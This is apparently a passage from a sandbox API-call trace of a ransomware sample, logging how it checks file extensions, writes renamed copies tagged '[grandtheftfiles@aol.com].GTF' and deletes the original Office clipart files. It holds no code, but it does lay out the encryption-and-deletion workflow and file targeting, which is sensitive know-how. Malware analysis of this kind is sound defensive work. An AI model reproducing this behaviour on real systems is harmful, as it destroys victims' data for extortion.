	[0085.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00443_.wmf")) returned 1
	[0085.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.181] lstrlenW (lpString=".doc") returned 4
	[0085.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.181] lstrlenW (lpString=".docx") returned 5
	[0085.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.181] lstrlenW (lpString=".pdf") returned 4
	[0085.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.181] lstrlenW (lpString=".xls") returned 4
	[0085.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.181] lstrlenW (lpString=".xlsx") returned 5
	[0085.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.181] lstrlenW (lpString=".ppt") returned 4
	[0085.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.181] lstrlenW (lpString=".zip") returned 4
	[0085.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.181] lstrlenW (lpString=".rar") returned 4
	[0085.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString=".bz2") returned 4
	[0085.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString=".7z") returned 3
	[0085.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.182] lstrlenW (lpString=".dbf") returned 4
	[0085.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.182] lstrlenW (lpString=".1cd") returned 4
	[0085.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.182] lstrlenW (lpString=".jpg") returned 4
	[0085.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.182] lstrlenW (lpString=".doc") returned 4
	[0085.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString=".docx") returned 5
	[0085.182] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.182] lstrlenW (lpString=".pdf") returned 4
	[0085.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString=".xls") returned 4
	[0085.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.182] lstrlenW (lpString=".xlsx") returned 5
	[0085.182] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.182] lstrlenW (lpString=".ppt") returned 4
	[0085.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.182] lstrlenW (lpString=".zip") returned 4
	[0085.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.182] lstrlenW (lpString=".rar") returned 4
	[0085.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.182] lstrlenW (lpString=".bz2") returned 4
	[0085.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.183] lstrlenW (lpString=".7z") returned 3
	[0085.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.183] lstrlenW (lpString=".dbf") returned 4
	[0085.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.183] lstrlenW (lpString=".1cd") returned 4
	[0085.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00443_.WMF") returned 68
	[0085.183] lstrlenW (lpString=".jpg") returned 4
	[0085.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.183] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.183] lstrlenW (lpString="CLASSIC2.WMF") returned 12
	[0085.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.184] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2262) returned 1
	[0085.184] CloseHandle (hObject=0x390) returned 1
	[0085.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 0x220
	[0085.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.184] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.184] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.185] GetLastError () returned 0x0
	[0085.185] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0085.186] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0085.187] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.187] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.187] SetEndOfFile (hFile=0x37c) returned 1
	[0085.187] CloseHandle (hObject=0x37c) returned 1
	[0085.188] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.188] SetEndOfFile (hFile=0x390) returned 1
	[0085.189] CloseHandle (hObject=0x390) returned 1
	[0085.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\classic2.wmf")) returned 1
	[0085.189] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString=".doc") returned 4
	[0085.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString=".docx") returned 5
	[0085.190] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0085.190] lstrlenW (lpString=".pdf") returned 4
	[0085.190] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString=".xls") returned 4
	[0085.190] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.190] lstrlenW (lpString=".xlsx") returned 5
	[0085.190] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0085.190] lstrlenW (lpString=".ppt") returned 4
	[0085.190] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString=".zip") returned 4
	[0085.190] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.190] lstrlenW (lpString=".rar") returned 4
	[0085.190] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString=".bz2") returned 4
	[0085.190] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString=".7z") returned 3
	[0085.190] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString=".dbf") returned 4
	[0085.190] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString=".1cd") returned 4
	[0085.190] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString=".jpg") returned 4
	[0085.190] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.190] lstrlenW (lpString=".doc") returned 4
	[0085.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString=".docx") returned 5
	[0085.191] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0085.191] lstrlenW (lpString=".pdf") returned 4
	[0085.191] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString=".xls") returned 4
	[0085.191] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.191] lstrlenW (lpString=".xlsx") returned 5
	[0085.191] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0085.191] lstrlenW (lpString=".ppt") returned 4
	[0085.191] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.191] lstrlenW (lpString=".zip") returned 4
	[0085.191] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.191] lstrlenW (lpString=".rar") returned 4
	[0085.191] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString=".bz2") returned 4
	[0085.191] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString=".7z") returned 3
	[0085.191] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.191] lstrlenW (lpString=".dbf") returned 4
	[0085.191] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.191] lstrlenW (lpString=".1cd") returned 4
	[0085.191] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68
	[0085.191] lstrlenW (lpString=".jpg") returned 4
	[0085.191] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.191] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.191] lstrlenW (lpString="CLIP.WMF") returned 8
	[0085.191] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.192] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=2262) returned 1
	[0085.192] CloseHandle (hObject=0x390) returned 1
	[0085.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 0x220
	[0085.192] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.192] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.192] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.193] GetLastError () returned 0x0
	[0085.193] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0085.194] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0085.195] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.195] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0085.195] SetEndOfFile (hFile=0x37c) returned 1
	[0085.195] CloseHandle (hObject=0x37c) returned 1
	[0085.196] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.197] SetEndOfFile (hFile=0x390) returned 1
	[0085.197] CloseHandle (hObject=0x390) returned 1
	[0085.197] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.198] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1
	[0085.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.198] lstrlenW (lpString=".doc") returned 4
	[0085.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.198] lstrlenW (lpString=".docx") returned 5
	[0085.198] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0085.198] lstrlenW (lpString=".pdf") returned 4
	[0085.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.198] lstrlenW (lpString=".xls") returned 4
	[0085.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.198] lstrlenW (lpString=".xlsx") returned 5
	[0085.198] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0085.198] lstrlenW (lpString=".ppt") returned 4
	[0085.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.198] lstrlenW (lpString=".zip") returned 4
	[0085.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.198] lstrlenW (lpString=".rar") returned 4
	[0085.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.198] lstrlenW (lpString=".bz2") returned 4
	[0085.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.198] lstrlenW (lpString=".7z") returned 3
	[0085.198] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.198] lstrlenW (lpString=".dbf") returned 4
	[0085.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString=".1cd") returned 4
	[0085.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString=".jpg") returned 4
	[0085.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString=".doc") returned 4
	[0085.199] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString=".docx") returned 5
	[0085.199] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0085.199] lstrlenW (lpString=".pdf") returned 4
	[0085.199] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString=".xls") returned 4
	[0085.199] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.199] lstrlenW (lpString=".xlsx") returned 5
	[0085.199] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0085.199] lstrlenW (lpString=".ppt") returned 4
	[0085.199] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString=".zip") returned 4
	[0085.199] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.199] lstrlenW (lpString=".rar") returned 4
	[0085.199] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString=".bz2") returned 4
	[0085.199] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString=".7z") returned 3
	[0085.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString=".dbf") returned 4
	[0085.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.199] lstrlenW (lpString=".1cd") returned 4
	[0085.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0085.200] lstrlenW (lpString=".jpg") returned 4
	[0085.200] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.200] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.200] lstrlenW (lpString="CRANE.WMF") returned 9
	[0085.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.200] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=5270) returned 1
	[0085.200] CloseHandle (hObject=0x390) returned 1
	[0085.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 0x220
	[0085.200] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.200] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0085.200] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.200] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.201] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0085.201] GetLastError () returned 0x0
	[0085.201] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1496, lpOverlapped=0x0) returned 1
	[0085.203] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x14a0, lpOverlapped=0x0) returned 1
	[0085.204] ReadFile (in: hFile=0x390, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.204] WriteFile (in: hFile=0x37c, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0085.204] SetEndOfFile (hFile=0x37c) returned 1
	[0085.204] CloseHandle (hObject=0x37c) returned 1
